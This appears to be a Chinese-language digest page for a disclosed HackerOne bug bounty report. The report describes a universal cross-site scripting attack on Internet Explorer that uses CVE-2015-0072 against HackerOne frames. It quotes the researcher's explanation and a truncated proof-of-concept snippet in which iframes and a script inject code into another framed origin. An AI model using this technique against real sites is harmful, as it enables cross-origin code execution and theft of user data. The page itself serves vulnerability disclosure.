HackerOne is still prone to Internet Explorer UXSS
该报告还没有中文解读。
原文摘录
摘自原文（2042 字符中的一小部分）
Hi, I have managed to leverage CVE 2015-0072, so that the attack will work with any framed resource protected by `X-Frame-Options: DENY` header. According to #103787, only https://hackerone.com/cdn-cgi/trace was unprotected and now its already fixed. In my PoC I used several X-Frame-Options …
原文中的代码
<iframe src="redirect.php?<? echo rand(); ?>" style=""></iframe>
<iframe src="https://hackerone.com/assets/news/vulnerabilities_fixed/vulnfixed-652ab9bb4eac2826a0fc8a2fae551115.png?<? echo rand(); ?>" style=""></iframe>
<script>
top[0].eval('_=top[1];xhttp=new …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 HackerOne 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @zombiehelp54 · 版权归作者与 HackerOne 所有